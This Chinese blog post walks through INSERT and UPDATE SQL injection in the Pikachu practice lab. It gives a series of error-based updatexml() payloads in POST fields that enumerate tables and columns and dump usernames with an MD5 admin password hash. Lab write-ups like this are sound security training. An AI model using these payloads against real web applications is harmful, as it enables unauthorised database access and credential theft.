[Pikachu靶场实战系列] SQL注入(insert/update注入)

insert注入

在这里插入图片描述
发现有个注册页面,注册页面如果有注入漏洞的话,一般是insert类型的,因为注册相当于往数据库的表中插入一行新数据

填写注册信息,然后抓个包,可以看到时post形式传输的数据
在这里插入图片描述
尝试在admiin后加单引号,报错了而且报错信息中没有出现admiin,可能是单引号完成闭合了,最后还需要加个)完成闭合
在这里插入图片描述
添加其他参数和)构建闭合

username=admiin’,‘111’,‘222’,‘333’,‘444’,‘555’)#

在这里插入图片描述
构建好闭合了,但是这个注册页面是没有回显的,怎样查询数据呢,我们可以采用报错注入的形式让查询的数据显示在报错页面中
在这里插入图片描述
完整提交的post数据,payload里面是or或者and都可以,注意最后可以不用注释符,把第一个参数的单引号闭合就可以了

username=admiin’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述
然后就是替换database(),查询其他数据

下面查询的长度超出updatexml函数的显示范围了(显示32个字符),需要在payload中加substr()函数来把剩下的字符显示出来,拼接起来就是查询出的数据

查询表

username=’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述
明显最后一个表没有查询完整,调整一下pyload中的值

username=’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述
两次拼接起来,查询到的完整表名为

httpinfo,member,message,users,xssblind

查询user表的列

username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述

username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),32,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述

username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),63,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述
三次拼接起来,users表中完整的列为:

USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level

查询users表中password列的数据

username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’;’,password)) from users),1,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述

username= ’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,’;’,password)) from users),32,31),0x7e),1) or ’ &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit

在这里插入图片描述
两次拼接起来,可以得到admin的密码

admin;e10adc3949ba59abbe56e057f20f883e

Update注入

先随便注册一个号,登录进去
在这里插入图片描述
点击修改信息
在这里插入图片描述
随便输入信息,点击submit抓包
在这里插入图片描述
在性别中加入单引号报错
加粗样式
构造pyload

sex=1’or updatexml(1,concat(0x7e,database()),0) or’&phonenum=1111111111&add=11111&email=11111&submit=submit

在这里插入图片描述
获取其他数据方式参考insert注入方式

  • 3
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值